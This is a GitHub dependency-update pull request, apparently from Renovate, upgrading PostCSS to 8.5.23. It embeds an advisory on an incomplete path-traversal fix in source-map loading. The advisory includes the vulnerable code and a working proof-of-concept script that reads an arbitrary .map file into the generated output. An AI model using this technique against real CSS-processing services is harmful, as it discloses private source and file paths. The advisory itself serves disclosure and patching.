Skip to content

chore(deps): update dependency next>postcss to v8.5.23 [security] - #803

Open
miru-renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-next-postcss-vulnerability
Open

chore(deps): update dependency next>postcss to v8.5.23 [security]#803
miru-renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-next-postcss-vulnerability

Conversation

@miru-renovate

@miru-renovate miru-renovate Bot commented Aug 11, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
next>postcss (source) 8.5.188.5.23 age confidence

PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when from is unset

CVE-2026-69153 / GHSA-fxqj-rqcc-2cmp

More information

Details

Summary

The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.

PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /*# sourceMappingURL=/abs/path/x.map */ (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.

Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)
// lib/previous-map.js
loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
    if (cssFile) {                       // guard runs ONLY when `from` is set
      let relativePath = relative(dirname(cssFile), path)
      if (relativePath === '..' ||
          relativePath.startsWith('..' + sep) ||
          isAbsolute(relativePath)) {
        return undefined
      }
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()   // sink
  }
}

// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
  let map = this.annotation
  if (file) map = join(dirname(file), map)   // no `from` -> map stays the raw URL
  let unknown = this.loadFile(map, file, false)  // file undefined -> cssFile falsy
Proof of concept (verified on postcss 8.5.22)
const postcss = require('postcss')
const fs = require('fs')

// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
  version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
  sourcesContent: ['TOP_SECRET_abcdef']
}))

const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')

;(async () => {
  // A) NO `from`  -> guard skipped -> arbitrary absolute .map read + disclosed
  const a = await postcss([]).process(css, { map: true })
  console.log('no from   -> leaked:', !!leaks(a.map))   // true

  // B) WITH `from` -> guard active -> blocked
  const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
  console.log('with from -> leaked:', !!leaks(b.map))    // false
})()

Observed output on postcss 8.5.22:

no from   -> leaked: true      # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map
with from -> leaked: false     # guard rejects the absolute path

../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.

Impact

Arbitrary .map-file read (absolute path or ../ traversal) and disclosure of the target map's sources (local filesystem paths) and sourcesContent (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a from option and exposes result.map (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in .map that parse as JSON.

Suggested fix

Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether cssFile is present (resolve against process.cwd() when there is no cssFile, and reject absolute paths and .. escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

postcss/postcss (next>postcss)

v8.5.23

Compare Source

  • Do not load source map without opts.from for security reasons.

v8.5.22

Compare Source

v8.5.21

Compare Source

v8.5.20

Compare Source

v8.5.19

Compare Source

  • Fixed cleaning before for new nodes inserted to Root (by @​MahinAnowar).

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate.

@miru-renovate miru-renovate Bot added the dependencies Pull requests that update a dependency file label Aug 11, 2026
@vercel

vercel Bot commented Aug 11, 2026

Copy link
Copy Markdown
Contributor

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
miru Ready Ready Preview Aug 15, 2026 7:06am

@miru-renovate
miru-renovate Bot force-pushed the renovate/npm-next-postcss-vulnerability branch 3 times, most recently from 2487457 to 52b3bf2 Compare August 11, 2026 21:31
@miru-renovate
miru-renovate Bot force-pushed the renovate/npm-next-postcss-vulnerability branch 3 times, most recently from 3ad98a0 to f8c5227 Compare August 11, 2026 21:43
@miru-renovate
miru-renovate Bot force-pushed the renovate/npm-next-postcss-vulnerability branch 2 times, most recently from 66dec2f to 236b9e7 Compare August 11, 2026 21:50
@miru-renovate
miru-renovate Bot force-pushed the renovate/npm-next-postcss-vulnerability branch 3 times, most recently from 9dd63aa to 15fa8c8 Compare August 11, 2026 22:01
@miru-renovate
miru-renovate Bot force-pushed the renovate/npm-next-postcss-vulnerability branch 3 times, most recently from f14b059 to 0431f7d Compare August 11, 2026 22:12
@miru-renovate
miru-renovate Bot force-pushed the renovate/npm-next-postcss-vulnerability branch 2 times, most recently from 06dadd9 to e78da77 Compare August 11, 2026 22:20
@miru-renovate
miru-renovate Bot force-pushed the renovate/npm-next-postcss-vulnerability branch 4 times, most recently from bbd27a5 to 7f0b36a Compare August 11, 2026 22:35
@miru-renovate
miru-renovate Bot force-pushed the renovate/npm-next-postcss-vulnerability branch 27 times, most recently from cded583 to 0855c88 Compare August 12, 2026 01:01
@vercel

vercel Bot commented Aug 12, 2026

Copy link
Copy Markdown
Contributor

Deployment failed for project miru with the following error:

Resource is limited - try again in 1 day (more than 100, code: "api-deployments-free-per-day").

Learn More: https://vercel.com/lawands-projects?upgradeToPro=build-rate-limit

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants